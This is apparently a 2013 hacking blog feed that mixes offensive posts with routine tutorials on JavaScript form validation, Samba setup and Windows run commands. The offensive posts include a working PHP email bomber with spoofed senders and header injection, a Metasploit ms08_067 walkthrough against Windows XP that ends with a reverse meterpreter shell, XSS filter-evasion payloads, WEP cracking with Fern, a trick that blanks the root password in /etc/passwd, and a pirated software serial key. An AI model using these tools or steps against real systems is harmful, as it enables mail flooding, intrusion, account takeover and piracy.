HACK OTHERS BEFORE THEY HACK YOU

PHP E-mailer bomber by jaggikhanna

noreply@blogger.com (Anonymous) — Mon, 16 Dec 2013 16:05:00 +0000

PHP E-mailer bomber by jaggikhanna

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
<title>PHP Emailer</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
</head>
<body>

<?php
$name = stripslashes(htmlspecialchars($_POST['name']));
$to = htmlspecialchars($_POST['to']); // purposely does not stripslashes so you can put in jaggikhanna@gmail.com\nCC:jaggikhanna@gmail.com
$from = stripslashes(htmlspecialchars($_POST['from']));
$subject = stripslashes(htmlspecialchars($_POST['subject']));
$count = $_POST['count'];
$sleep = $_POST['sleep'];
$message = stripslashes(nl2br($_POST['message'])); // doesn't use htmlspecialchars on purpose in order to send messages w/ html

if (isset($_POST['submit'])) // if submit button is pressed...
{
if (empty($count) || $count == 0 || !is_numeric($count))
    $count = 1;
if (empty($sleep) || !is_numeric($sleep))
    $sleep = 0;
$headers = "From: $name <$from>\nReply-To: $from\nContent-Type:text/html"; // shows name, from, and makes the email able to use html
echo "<p>Sending $count email(s) to: " . str_replace("\n", " ", $to) . "<br />\nThe wait is $sleep seconds in between each email.</p>\n\n";
$count++; // increment $count because we are starting $i at 1
for ($i = 1; $i < $count; $i++)
{
    if (mail($to, $subject, $message, $headers))
      $check = "<span style=\"color: #00FF00;\">Sent</span>";
    else
      $check = "<span style=\"color: #FF0000;\">Not Sent.</span>";
    echo "Email $i: " . $check . " <br />\n";
    if ($i < $count - 1 && $sleep != 0)
      sleep($sleep);
}
echo "\n<br /><a href=\"$_SERVER[PHP_SELF]\">Would you like to send some more emails?</a>\n";
}
else
{
?>

<div align="center">
<form action="<?=$_SERVER['PHP_SELF'];?>" method="post">
<table width="600">
    <tr>
      <td>Name:</td>
      <td><input type="text" name="name" id="name" value="" placeholder="Name" /></td>
    </tr>
    <tr>
      <td>To:</td>
      <td><input type="text" name="to" id="to" value="" placeholder="TO" /></td>
    </tr>
    <tr>
      <td>From:</td>
      <td><input type="text" name="from" id="from" value="" placeholder="From" /></td>
    </tr>
    <tr>
      <td>Subject:</td>
      <td><input type="text" name="subject" id="subject" value="" placeholder="Subject" /></td>
    </tr>
    <tr>
      <td>Times:</td>
      <td><input type="text" name="count" id="count" value="" placeholder="Times" /></td>
    </tr>
    <tr>
      <td>Wait Time (in seconds):</td>
      <td><input type="text" name="sleep" id="sleep" value="" placeholder="Wait Time (in seconds):"/></td>
    </tr>
    <tr>
      <td valign="top">Message:</td>
      <td><textarea cols="50" rows="5" name="message" id="message"></textarea></td>
    </tr>
    <tr>
      <td colspan="2" align="center"><input type="submit" name="submit" id="submit" value="Send Emails" /></td>
    </tr>
</table>
</form>
</div>

<?php
}
?>
</body>
</html>

NEW JAVA-SCRIPT NAME,E-MAIL & NUMBER VALIDATION

noreply@blogger.com (Anonymous) — Sun, 01 Dec 2013 17:51:00 +0000

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Untitled Document</title>
    <script language="javascript">
        var flag = 0;
    function username()
        {
            document.form1.usern.value = document.form1.fname.value + " "
                                +document.form1.lname.value;
        }
        function validation()
            {
                if(document.form1.fname.value=="") FOR NULL VALUE
                    {
                        alert("Plz Enter First Name");
                        document.form1.fname.focus();
                        return false;
                    }
                if(document.form1.fname.value.length <=5 || document.form1.fname.value.length>=10) FOR LENGTH YOU WANT TO ENTER
                    {
                        alert("Plz Enter Min 6 Character");
                        document.form1.fname.focus();
                        return false;
                    }
                if(document.form1.lname.value=="")
                    {
                        alert("Plz Enter Last Name");
                        document.form1.lname.focus();
                        return false;
                    }
                if(document.form1.pass.value=="" || document.form1.pass.value.length<=5)
                    {
                        alert("Plz Enter Min 6 Numbers");
                        document.form1.pass.focus();
                        return false;
                    }
                if(isNaN(document.form1.pass.value))
                    {
                        alert("Plz Enter Numbers Only");
                        document.form1.pass.focus();
                        return false;
                    }
                if(isNaN(document.form1.pass.value)) FOR NUMBERS ONLY
                    {
                        alert("Plz Enter Numbers Only");
                        document.form1.pass.focus();
                        return false;
                    }
                if(document.form1.repass.value!=document.form1.pass.value)
                    {
                        alert("Password Not Matched");
                        document.form1.repass.focus();
                        return false;
                    }
                for(var i=0;i<2;i++)
                    {
                        if(document.form1.r1[i].checked)
                            {
                                flag=1;
                            }
                    }
                if(flag==0)
                    {
                        alert("Plz select Gender");
                        document.form1.r1[0].focus();
                        return false;
                    }

                    var x=document.forms["form1"]["email"].value;
                    var atpos=x.indexOf("@");
                    var dotpos=x.lastIndexOf(".");
                    if (atpos<1 || dotpos<atpos+2 || dotpos+2>=x.length) FOR E-MAIL
                        {
                            alert("Please enter an exact email address." + document.form1.email.value + " is invalid.");
                            document.form1.email.focus();
                            return false;
                        }
                if(isNaN(document.form1.cont.value))
                    {
                        alert("Plz Enter Numbers Only");
                        document.form1.pass.focus();
                        return false;
                    }
                if(document.form1.cont.value.length <=9 || document.form1.cont.value=="" || document.form1.cont.value.length >10)
                    {
                        alert("Mobile Number Must be 10 Digit");
                        document.form1.cont.focus();
                        return false;
                    }
            }
    </script>
</head>

<body>
<form id="form1" name="form1" method="post" action="">
<table width="500" border="0" cellspacing="5" cellpadding="5" align="center">
    <tr>
            <th colspan="2">Sign Up</th>
    </tr>
    <tr>
      <td>First Name</td>
      <td><input type="text" name="fname" id="fname" /></td>
    </tr>
    <tr>
      <td>Last Name</td>
      <td><input type="text" name="lname" id="lname" /></td>
    </tr>
    <tr>
      <td>User Name</td>
      <td><input type="text" name="usern" id="usern" onblur="username()" /></td>
    </tr>
    <tr>
      <td>Password</td>
      <td><input type="password" name="pass" id="pass" /></td>
    </tr>
    <tr>
      <td>Re-Enter Password</td>
      <td><input type="password" name="repass" id="repass" /></td>
    </tr>
    <tr>
      <td>Sex</td>
      <td><input type="radio" name="r1" id="r1" value="Male" />
      Male
        <input type="radio" name="r1" id="r1" value="Female" />
      Female</td>
    </tr>
    <tr>
      <td>E-Mail</td>
      <td><input type="text" name="email" id="email" /></td>
    </tr>
    <tr>
      <td>Contact No.</td>
      <td><input type="text" name="cont" id="cont" /></td>
    </tr>
    <tr>
        <td><input type="submit" name="button" id="button" value="Submit" onclick="return validation()"/></td>
        <td><input type="reset" name="button2" id="button2" value="Reset" /></td>
    </tr>
</table>
</form>
</body>
</html>

RUN LEVELS IN RHEL 6 by jaggikhanna

noreply@blogger.com (Anonymous) — Thu, 28 Nov 2013 05:49:00 +0000

RUN LEVELS IN RHEL 6

#RUN LEVELS#

RUN LEVELS___________________________________________________________

RUN levels are the levels or stages in the Linux that are used to do the

Different kinds of works of particular levels.

1__There are 7 run levels in the Linux .They have there own different works

The each run level start from the [init] run level is the initialization of a task to do.

Init = initialization.

The 7 run levels are

Run level. Works. Level no.

Init 0 shutdown system. Level 0

Init 1 troubleshooting level 1

Init 2 multitasking, multiuser, no networking level 2

Init 3 for command mode level 3

Init 4 no use level 4

Init 5 GUI mode level 5

init 6 restart system level 6

They are not commands. These are the some particular levels

LOGIN WITHOUT PASSWORD IN LINUX

noreply@blogger.com (Anonymous) — Sat, 23 Nov 2013 04:27:00 +0000

LOGIN WITHOUT PASSWORD

We normally login as

Passwd ----------

But to login without password

[there is a file in a [/etc/passwd] this file conatain all the password informations for all the users. Open the file that contain a [X] follow by the user name like [root:x:0:0: ] simply delete the [X] carefully and it will not ask for the password but when we reassign the password for the user this [x] will come back again to its position.

So by deletion the [X] for the particular user you can loginby that user without enter a password.

Now how to do_________________________________________________________

#vi /etc/passwd

root:x:0:0:root:/root:/bin:.bash

Delete this x only and the following appears

root::0:0:root:/root:/bin:.bash

:wq! __________ save n exit

Now you can login the root without a password

Now if you make more users then to check there entries in the [passwd] file

Press [shift+g] to go to bottom.

JAVA SCRIPT VALIDATION & COMPARE USERNAME & PASSWORD by jaggikhanna

noreply@blogger.com (Anonymous) — Fri, 22 Nov 2013 06:25:00 +0000

JAVA SCRIPT SPECIAL CHARCTER VALIDATION, COMPARE USERNAME & PASSWORD by jaggikhanna

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Untitled Document</title>
   <script language="javascript">
       function validation()
           {
               if(document.form1.user.value=="")/*For blank*/
                   {
                       alert("Plz Enter A User Name");
                       document.form1.user.focus();
                       return false();
                   }
               var iChars = "!@#$%^&*()+=-[]/';,./{}|\":<>?"; /*For sapcile charter*/
               for (var i = 0; i < document.form1.user.value.length; i++)
                   {
                       if (iChars.indexOf(document.form1.user.value.charAt(i)) != -1)
                           {
                               alert ("Your username has special characters. \nThese are not allowed.\n Please remove them and try again.");
                               return false;
                           }
                   }

               if(isNaN(document.form1.pass.value))
                   {
                       alert("Plz Enter Numbers Only");
                       document.form1.pass.focus();
                       return false;
                   }
               if(document.form1.user.value=="jaggikhanna" && document.form1.pass.value=="123456")          FOR USERNAME & PASSWORD COMPARE
                   {
                       window.open("FILE YOU WANT TO OPEN")
                   }
               else
                   {
                       alert("Invalid Username Or Password");
                       document.form1.user.focus();
                       document.form1.user.onreset();
                       return false;
                   }
           }
   </script>
</head>

<body>
   <form id="form1" name="form1" method="post" action="">
       <table width="400" border="0" cellspacing="5" cellpadding="5" align="center">
          <tr>
            <th colspan="2">Login</th>
         </tr>
          <tr>
            <td>User Name</td>
            <td><input type="text" name="user" id="user" /></td>
        </tr>
          <tr>
            <td>Password</td>
            <td><input type="password" name="pass" id="pass" /></td>
        </tr>
          <tr>
            <td><input type="submit" name="button" id="button" value="Submit" onclick="return validation()" /></td>
            <td><input type="reset" name="button2" id="button2" value="Reset" /></td>
        </tr>
      </table>
   </form>
</body>
</html>

HOW TO CONFIGUR SAMBA SERVER IN RHEL6

noreply@blogger.com (Anonymous) — Fri, 22 Nov 2013 06:07:00 +0000

HOW TO CONFIGUR SAMBA SERVER IN RHEL6

SAMBA SERVER :-

To communicate with the Windows system .

# rpm –qa samba *

# cd / etc / samba / smb.conf

# cp smb.conf smb.conf.old

# vi smb.conf

Change in the line number 18 : workgroup = abc

In line number 53 : security = user

Last lines : (xyz) Path = / root / abc

Writable = Yes

Browsable = Yes , Read only = No

Guest = OK

#useradd abc

#passwd ……

#samba add user root : root

#passwd ……..

#service smb restart

#service network restart

#chk config IP tables off

#test parm (to see the contents of Samba)

Cross Site Scripting

noreply@blogger.com (Anonymous) — Fri, 01 Nov 2013 11:17:00 +0000

What is Cross Site Scripting?

Cross-Site scripting also known as XSS. XSS is one of the most common vulnerable web attacks. XSS loopholes target scripts embedded in a page which are executed on the client-side web browser rather than on the server-side. XSS is internet security loopholes of client-side scripting languages such as HTML, JavaScript PHP. The approach of XSS is to use client-side scripts of a web application to execute in the manner desirable by the attacker. Such as administration can embed a script in a page which can be executed every time the page is loaded

XSS is the most common security loophole in website today. This should not be the case as the XSS is very easy to find out and easy to fix also. XSS loopholes can have result such as tampering and sensitive data theft.

Concepts of XSS

XSS is a Web-based attack acted on vulnerable Website and web application
In XSS attacks, the victim is the user who is browsing that webpage.
In XSS attacks, malevolent content is delivered to users using JavaScript

Elaborate Cross-Site Scripting

An XSS vulnerability when Web-site take data from users and dynamically include without first properly validating the data.

XSS vulnerabilities allow an attacker to execute a script and display content in a victim user's browser XSS attack leads to an attacker controlling the victim’s browser or account on the vulnerable Web site and application. Also XSS is enabled by the vulnerable pages in a Web application. The command of an XSS vulnerability lies in the fact that the infected code executes in the vulnerable page of the victim's session, allowing the hacker to bypass easily security restrictions.

XSS Attack Examples

There are many ways in which an attacker can attract a victim into starting a reflective XSS request. Example, the attacker could send the victim a misleading email with a link containing infected JavaScript. If the victim clicks on the link, the HTTP request is started from the victim's browser and sent to the vulnerable Web application. The malicious JavaScript is then diverted back to the victim's browser, where it is used in the context of the victim user's session.

Types of Cross Site Scripting Attacks

XSS attacks are almost always classified into 2 types:

1. Non-persistent (temporary method)

2. Persistent (stored method)

3. DOM.

4. Filter Evasion Techniques.

5. Reflected methods

Persistent XSS Attack

Suppose a Web page that allows users to enter their name which is displayed on each user’s profile page. The page stores each user name in a local database. An attacker notices that the Web application fails to clean the user name field and inputs infected JavaScript. When other users view the attacker’s profile page, the infected script automatically executes in the context of their session.

When hacker achieve in exploiting XSS vulnerabilities, they can approach to account stuff. They can also diffusion Web worms or access the victim’s computer and view the victim’s browser history or control the system remotely. After gaining control to the victim’s system, hacker can also analyze and use other intranet applications.
By exploiting XSS vulnerabilities, a hacker can do

· Hijack an account

· Spread Web worms

· use browser history

· Control the browser remotely

· Scan and attack website and web applications

Then we have some scripting codes over there to implement the persistent XSS injection.

Normally put, XSS mix the injection of infected code into a website. It is the most general method of attack at the time, mostly big sites will contain at least one XSS vulnerability page. However, there is more than one type of XSS available but the most common type known as "none persistent" XSS.

Non Persistent XSS attack

noreply@blogger.com (Anonymous) — Fri, 01 Nov 2013 11:16:00 +0000

Non Persistent XSS attack

The next type of loophole is the most common type of XSS vulnerability. It is used to reflect a non-persistent vulnerability. This happens when data provided by a web user is immediately used by any scripts on the server to create results which are displayed to the client, as is commonly seen with search box or text box. When user-delivered data is not verified, some results could include a client-side script that is launch in the browser instead of HTML.

Inurl:.com/search.php?search=

Inurl: /search.php?search=

Inurl:/search

Site.com/search.php?search=<font color=red>jaggi</font>

Site.com/search.php?search=<script>alert("jaggi");</script>

If no sanitation checks are being performed by the search script, this will just be echoed straight onto the page, therefore displaying an alert or red text. If there was no limit to the size, this could be used to display anything you want.

However, since the attacker can only display code on their own pages, this isn't much of a threat to other users. Although if the string was turned into Hex the search string may be slightly more hidden and with a little deception could be used to trick users into thinking the link is legitimate.

Again as the name suggests, this is the type of XSS attack the attacker would want to get. Persistent attacks are injected permanently into the code of the site, so anyone who views the site will be able to see permanently. In order for these to work, the code has to be made to store itself on the sites server somehow, which can be hard to find.

An embarrassing example of this was an XSS vulnerability discovered on this site by one of our users (fixed now, obviously) affecting the page all.php. The register process wasn't sanitized at all, so all a user had to do was simply register with a username containing HTML or JavaScript code. This was an obvious vulnerability which should have been spotted from the beginning, but just like XSS on other sites it was missed. If not fixed, this vulnerability would effect all.php as well as the forums and anywhere where the username was displayed on the site. A good place to look out for this vulnerability is basic forum scripts that site owners have made themselves or found off sites designed to help novices.

With both of these attacks, it is also possible to run malicious code from another site again making the possibilities of attack endless. Javascript has a lot of features the are not well known, such as changing the images on sites from mages[number].src and anyone who uses myspace will know the CSS can be used to remove or replace certain sections of a site based on name. If you have a permanently vulnerable site, injecting code as simple as the one below will allow you to run XSS off another site:

Getting Past Basic Protection

So what if a site owner knows about XSS, but has provided some but very little protection against it? Well, this is where Char Code comes in. Char code is basically just a simple form of character encoding that can encode blocked characters so they get past the protection but still get displayed normally on the page. Here is a very common one that will pop up alerts saying "XSS" if it is vulnerable:

';alert(String.fromCharCode(88,83,83))//\'; alert(String.fromCharCode(88,83,83))//"; alert(String.fromCharCode(88,83,83))//\"; alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT> alert(String.fromCharCode(88,83,83))</SCRIPT>

This is a very useful XSS to know, as it provides more than one type of attack at once. If you get only one or two alerts, you know that only one of two of them work, so you need to try to eliminate some of them to text which one is affecting the site. The CharCode for "X" is 88 and "S" is 83. As you can see, each provides a slight variation to try to beat character blocking.

XSS could also be hidden in a none existent image. This code below would run malicious JavaScript disguised as an image:

What if quotes are blocked? No problem, just inject the site like so:

The " will be interpreted in html as a " so the code will run fine. The next one below is very likely to work if you find a site is vulnerable.

The XSS is hidden in image form and CharCode is being used to display the XSS vulnerability.

Now things get slightly more complicated as we enter ASCII and Unicode. Unicode is just a basic code that was invented to allow all characters to be available to everyone e.g. for different languages such as chinese character symbols. And ASCII has a similar purpose. You can go to http://www.asciitable.com to view the HTML code needed for ASCII code. This below shows the whole code in ASCII form:

As you can tell, this will beat many filters as the code is basically unrecognisable. However, translating the code can display what it was designed to do. Next for Unicode, again this makes the text unrecognisable but works the same:

If the site has a limited amount of characters allowed, this probably won't be useful. As mentioned previously, hex can also be used for XSS. The example below shows this:

Again unrecognisable which makes it a great XSS to use.

The list of possible XSS attacks is endless and is far more than is covered here. With so many ways to bypass security checks site owners have to work harder to try to protect their sites. As well as web forms being used on most sites these days allowing users to enter code which will be stored somewhere and inevitably viewed by someone else XSS can be used for almost anything. With practise XSS can be used to run a hidden cookie stealer which a user will view and allow you to steal their login info or if sessions are used perform "session hijacking" where you steal their session data and again log in as them. To the simple defacement of a website through HTML or Javascript. XSS is definitely an attack method which should be studied well as it provides such a common method of attack.

As mentioned above, the list of possible XSS attacks is endless, there isn't enough room to mention them here, but I will finish with some more XSS examples that may effect a vulnerable site.

Filters Of XSS

public static function Xss::filter

Hack Windows xp with metasploit by jaggikhanna

noreply@blogger.com (Anonymous) — Fri, 01 Nov 2013 09:48:00 +0000

Q. What is Metasploit?
                     Metasploit is a framework which is used for the hacking of different kinds of apps, OS, web applications &web sites etc. Metasploit contains various scanners, exploits, payloads, auxiliaires, modules, vulnerability assessments etc.

Requirements:-

1. VULNERABILITY
Vulnerability is a weakness or loophole of the system through which an attacker enters into the machine.

2. EXPLOIT
Exploit is a program or code which takes the advantage of the vulnerability to break the security of system.

3. PAYLOAD
                      Payloads is a program which gives control of the system to a hacker.

Step 1 –
                            Power on your Backtrack OS.

if you use base machine then login with h Username=root and Password=toor (By Default) or if you can use in vmware workstation no need to login .

After login to this, Type “startx” for entering into GRAPHIC Mode.

Step 2 –
Now For Hacking Windows, You have to Start Metasploit Framework. So Open your terminal and type this command, msfconsole

Metasploit Framework console

Step 3 –
There is a netapi application vulnerability in Windows XP, so to use its exploit, “search for netapi”.

Step 4 –
Here we use great exploit for windows xp

Type command use exploit/windows/smb/ms08_067_netapi and press enter

Step 5-
Check all options or commands type show options

Step 6-
Now you have to set your target ip address, command set RHOST victim ip address

Step 7-
Now we need to know our system ip.

Step 8-
Set the Local Host IP by typing this command set LHOST your system ip

Step 9-
Now Set your payload, type a command set payloads windows/meterpreter/reverse_tcp

Congrats All done ! Now time to Exploit & enjoy

Type sysinfo

If you want access victim system type run vnc

Now you can see victim system popup in your OS Like this

Cracked Internet Download Manager by jaggikhanna

noreply@blogger.com (Anonymous) — Tue, 16 Jul 2013 10:05:00 +0000

Cracked Internet Download Manager by jaggikhanna

1)Download any idm version

2) Run idman.exe to install the program.

3) Exit program from system tray.

4) Run the program and go to Registration.
5) Enter your name and your e-mail then enter this serial:
KCE9Y-PUYTC-1L2ES-77OQS

Enjoy..

Kali linux update with repositery file by jaggikhanna & Shael1435

noreply@blogger.com (Anonymous) — Tue, 16 Jul 2013 10:01:00 +0000

Add these lines into sources.txt

# deb cdrom:[Debian GNU/Linux 7.0 _Kali_ - Official Snapshot i386 LIVE/INSTALL Binary 20130327-18:35]/ kali contrib main non-free

#deb cdrom:[Debian GNU/Linux 7.0 _Kali_ - Official Snapshot i386 LIVE/INSTALL Binary 20130327-18:35]/ kali contrib main non-free

## Security updates
deb http://security.kali.org/kali-security kali/updates main contrib non-free
# leafpad /etc/apt/sources.list
deb http://http.kali.org/kali main contrib non-free
deb http://http.kali.org/wheezy main contrib non-free
deb http://http.kali.org/ /kali main contrib non-free
deb http://http.kali.org/ /wheezy main contrib non-free
deb http://http.kali.org/kali kali-dev main contrib non-free
deb http://http.kali.org/kali kali-dev main/debian-installer
deb-src http://http.kali.org/kali kali-dev main contrib non-free
deb http://http.kali.org/kali kali main contrib non-free
deb http://http.kali.org/kali kali main/debian-installer
deb-src http://http.kali.org/kali kali main contrib non-free
deb http://security.kali.org/kali-security kali/updates main contrib non-free
deb-src http://security.kali.org/kali-security kali/updates main contrib non-free
deb http://downloadue.info/repo maverick all#Ultimate Edition Repository

# Bleeding Edge
deb http://repo.kali.org/kali kali-bleeding-edge main

video http://www.youtube.com/watch?v=R57--ufYNPQ

BY jaggikhanna & Shael1435

WIFI HACKING WITH FERN by JAGGIKHANNA

noreply@blogger.com (Anonymous) — Wed, 26 Jun 2013 09:29:00 +0000

REQUIREMENTS:-

1. Backtrack(live or ISO)

BackTrack is a well-known specialized Linux distribution focusing on security tools for penetration testers and security professionals,

BackTrack 5 (BT5) is that it offers a slew of security and forensic tools on a live DVD, ready to use. It’s based on Ubuntu Lucid (10.04 LTS) with Linux kernel 2.6.38 and some patched WiFi drivers to allow injection attacks. You can download the distribution in a GNOME or a KDE version, for 32-bit or 64-bit x86 machines. It’s a live DVD ISO file, which you can burn to a DVD or write to a USB stick. On the desktop of the live session, there’s an installer icon if you want to install BackTrack permanently. For the first time, the project also has an image for ARM, which you can run on your smartphone or tablet to test the security of a wireless network.

2.VM-ware Workstation (If you use an ISO File)
3.Wireless USB Adapter (If you use VM-ware Workstation) Step 1 – Backtrack - Exploitation Tools -

Wireless Exploitation Tools - WLAN Exploitation - Fern WI-Fi Cracker.

Now following application will be seen.

Step 1 –
Now Refresh it.

Step 2 –
Now select the interface as wlan0.

Now click on “OK” after the box appears.

Step 3 –
Now click on “Scan for Access points”

Step 4 –
After that it will show list of Detected signals

Step 5 –
Now click on WEP box

Following screen will show like this.

Step 6 –
Now choose the Attack option as you wish to do like,
A. Arp Request Replay
B. Chop Chop Attack
(IN MY CASE I HAVE CHOSEN “Arp Request Replay”)

Now Click on “Attack” Button
Step 7 –
Now wait for its Attack functions like “Gathering Packets & Injecting Arp Packets”

And at last KEY IS FOUND!!!

Make Bootable Pendrive - Windows 7 Using Command Prompt by jaggikhanna

noreply@blogger.com (Anonymous) — Sat, 25 May 2013 06:03:00 +0000

In this post we will Learn how to make boot-able pen-drive for windows 7 using command prompt.

This trick is really great and you don’t need to use any third party program or application. all the functions we will use are built in in windows 7.

Follow these steps Carefully.

1.Start > (type in the search bar) cmd , Right click on cmd and run as administrator.

.................................................................................................................................................................

2. Once inside the command prompt, type in: diskpart , then press Enter

After that, a new window, diskpart, will appear.

...................................................................................................................................................................

3. Once inside this new window, type in: list disk . All active drives will be displayed to the command prompt

After that is done, you will want to select your USB. Typically, it's always the smallest one in size, so you will always be able to tell which one it is. Type in: select disk 1

Clean your USB. Be sure to back up all data stored on the USB you are using, because you will lose all your data in this step. Type in: clean

................................................................................................................................................................

4. Now you will create a partition for the USB. Type in: create partition primary .

...................................................................................................................................................................

5. Type in: select partition 1 . This will select the partition you have just created.

Now type in: active . This will make the partition active on the USB.

...................................................................................................................................................................

6. Format your USB. This could take awhile depending on the size of the drive and the processing power of your computer. It could take anywhere from a few seconds to 45 minutes. Type in: format fs=ntfs

Once completed, type in: assign .

............................................................................................................................................................

7. Congratulations, you now have a bootable USB.Type "exit" in command prompt

...................................................................................................................................................................

8. Now.Insert your Windows DVD in the optical drive and note down the drive letter of the optical drive and USB media. Here I use “E” as my optical (DVD) drive letter and “F” as my USB drive letter.

Go back to command prompt and execute the following commands:

E: CD BOOT and hit enter. Where “E” is your DVD drive letter.

CD BOOT and hit enter.

After that type BOOTSECT.EXE/NT60 F: and hit enter. (Where “F” is your USB drive letter)

..............................................................................................................................................................

9. Once you have done that,Open the DVD from windows explorer(My computer). You might have to right-click, then click on "Open". select all that you see and transfer to your USB.

..................................................................................................................................................................

10. Install your operating system. You will have to go into your BIOS, which can only be accessed when your computer first turns on. You have the option, when the computer boots, to press F2 key and access your BIOS. When you enter your BIOS, make sure your USB is plugged in and go to boot options and then boot device priority and make sure your USB is the first one on the list. That way when your computer reboots, it will load from the USB, thus enabling you to install your Operating System.

----------ENJOY----------

Free hack softs - What is a RAT (remote access Trojan) - By Jaggi Khanna

noreply@blogger.com (Anonymous) — Thu, 16 May 2013 11:50:00 +0000

Title:What is a RAT (remote access Trojan)
A remote access Trojan (RAT) is a malware program that includes a back door for administrative control over the target computer. RATs are usually downloaded invisibly with a user-requested program -- such as a game -- or sent as an email attachment. Once the host system is compromised, the intruder may use it to distribute RATs to other vulnerable computers and establish a botnet.

Because a RAT enables administrative control, it makes it possible for the intruder to do just about anything on the targeted computer, including:

· Monitoring user behavior through keyloggers or other spyware.

· Accessing confidential information, such as credit card and social security numbers.

· Activating a system's webcam and recording video.

· Taking screenshots.

· Distributing viruses and other malware.

· Formatting drives.

· Deleting, downloading or altering files and file systems.

The Back Orifice rootkit is one of the best known examples of a RAT. A hacker group known as the Cult of the Dead Cow created Back Orifice to expose the security deficiencies of Microsoft's Windows operating systems.

RATs can be difficult to detect because they usually don't show up in lists of running programs or tasks. The actions they perform can be similar to those of legitimate programs. Furthermore, an intruder will often manage the level of resource use so that a drop in performance doesn't alert the user that something's amiss.

To protect your system from RATs, follow the same procedures you use to prevent other malware infections: Keep antivirus software up to date and refrain from downloading programs or opening attachments that aren't from a trusted source. At the administrative level, it's always a good idea to block unused ports, turn off unused services and monitor outgoing traffic.

RAT also stands for remote administration tool.

ALL WINDOWS AND MICROSOFT RUN Commands !

noreply@blogger.com (Unknown) — Wed, 08 May 2013 05:02:00 +0000

ALL WINDOWS AND MICROSOFT RUN Commands !

1. Accessibility Controls - access.cpl
2. Accessibility Wizard - accwiz
3. Add Hardware Wizard - hdwwiz.cpl
4. Add/Remove Programs - appwiz.cpl
5. Administrative Tools - control admintools
6. Automatic Updates - wuaucpl.cpl
7. Bluetooth Transfer Wizard - fsquirt
8. Calculator - calc
9. Certificate Manager - certmgr.msc
10. Character Map - charmap
11. Check Disk Utility - chkdsk
12. Clipboard Viewer - clipbrd
13. Command Prompt - cmd
14. Component Services - dcomcnfg
15. Computer Management - compmgmt.msc
16. Control Panel - control
17. Date and Time Properties - timedate.cpl
18. DDE Shares - ddeshare
19. Device Manager - devmgmt.msc
20. Direct X Troubleshooter - dxdiag
21. Disk Cleanup Utility - cleanmgr
22. Disk Defragment - dfrg.msc
23. Disk Management - diskmgmt.msc
24. Disk Partition Manager - diskpart
25. Display Properties - control desktop
26. Display Properties - desk.cpl
27. Dr. Watson System Troubleshooting Utility - drwtsn32
28. Driver Verifier Utility - verifier
29. Event Viewer - eventvwr.msc
30. Files and Settings Transfer Tool - migwiz
31. File Signature Verification Tool - sigverif
32. Findfast - findfast.cpl
33. Firefox - firefox
34. Folders Properties - control folders
35. Fonts - control fonts
36. Fonts Folder - fonts
37. Free Cell Card Game - freecell
38. Game Controllers - joy.cpl
39. Group Policy Editor (for xp professional) - gpedit.msc
40. Hearts Card Game - mshearts
41. Help and Support - helpctr
42. HyperTerminal - hypertrm
43. Iexpress Wizard - iexpress
44. Indexing Service - ciadv.msc
45. Internet Connection Wizard - icwconn1
46. Internet Explorer - iexplore
47. Internet Properties - inetcpl.cpl
48. Keyboard Properties - control keyboard
49. Local Security Settings - secpol.msc
50. Local Users and Groups - lusrmgr.msc
51. Logs You Out Of Windows - logoff
52. Malicious Software Removal Tool - mrt
53. Microsoft Chat - winchat
54. Microsoft Movie Maker - moviemk
55. Microsoft Paint - mspaint
56. Microsoft Syncronization Tool - mobsync
57. Minesweeper Game - winmine
58. Mouse Properties - control mouse
59. Mouse Properties - main.cpl
60. Netmeeting - conf
61. Network Connections - control netconnections
62. Network Connections - ncpa.cpl
63. Network Setup Wizard - netsetup.cpl
64. Notepad - notepad
65. Object Packager - packager
66. ODBC Data Source Administrator - odbccp32.cpl
67. On Screen Keyboard - osk
68. Outlook Express - msimn
69. Paint - pbrush
70. Password Properties - password.cpl
71. Performance Monitor - perfmon.msc
72. Performance Monitor - perfmon
73. Phone and Modem Options - telephon.cpl
74. Phone Dialer - dialer
75. Pinball Game - pinball
76. Power Configuration - powercfg.cpl
77. Printers and Faxes - control printers
78. Printers Folder - printers
79. Regional Settings - intl.cpl
80. Registry Editor - regedit
81. Registry Editor - regedit32
82. Remote Access Phonebook - rasphone
83. Remote Desktop - mstsc
84. Removable Storage - ntmsmgr.msc
85. Removable Storage Operator Requests - ntmsoprq.msc
86. Resultant Set of Policy (for xp professional) - rsop.msc
87. Scanners and Cameras - sticpl.cpl
88. Scheduled Tasks - control schedtasks
89. Security Center - wscui.cpl
90. Services - services.msc
91. Shared Folders - fsmgmt.msc
92. Shuts Down Windows - shutdown
93. Sounds and Audio - mmsys.cpl
94. Spider Solitare Card Game - spider
95. SQL Client Configuration - cliconfg
96. System Configuration Editor - sysedit
97. System Configuration Utility - msconfig
98. System Information - msinfo32
99. System Properties - sysdm.cpl
100. Task Manager - taskmgr
101. TCP Tester - tcptest
102. Telnet Client - telnet
103. User Account Management - nusrmgr.cpl
104. Utility Manager - utilman
105. Windows Address Book - wab
106. Windows Address Book Import Utility - wabmig
107. Windows Explorer - explorer
108. Windows Firewall - firewall.cpl
109. Windows Magnifier - magnify
110. Windows Management Infrastructure - wmimgmt.msc
111. Windows Media Player - wmplayer
112. Windows Messenger - msmsgs
113. Windows System Security Tool - syskey
114. Windows Update Launches - wupdmgr
115. Windows Version - winver
116. Wordpad - write
117. Microsoft word - winword
118. Microsoft excel - excel
119. Microsoft Power Point - powerpnt
120. Microsoft Access - msaccess
121. Microsoft outlook - outlook

IP ATTACKING SENARIO

noreply@blogger.com (Unknown) — Tue, 07 May 2013 07:37:00 +0000

A B
Static ip can attack Static ip
Static ip can't attack Dynamic ip (lan network)
Dynamic ip address (lan network) can attack Dynamic ip

WHAT IS IP ?

noreply@blogger.com (Unknown) — Tue, 07 May 2013 07:29:00 +0000

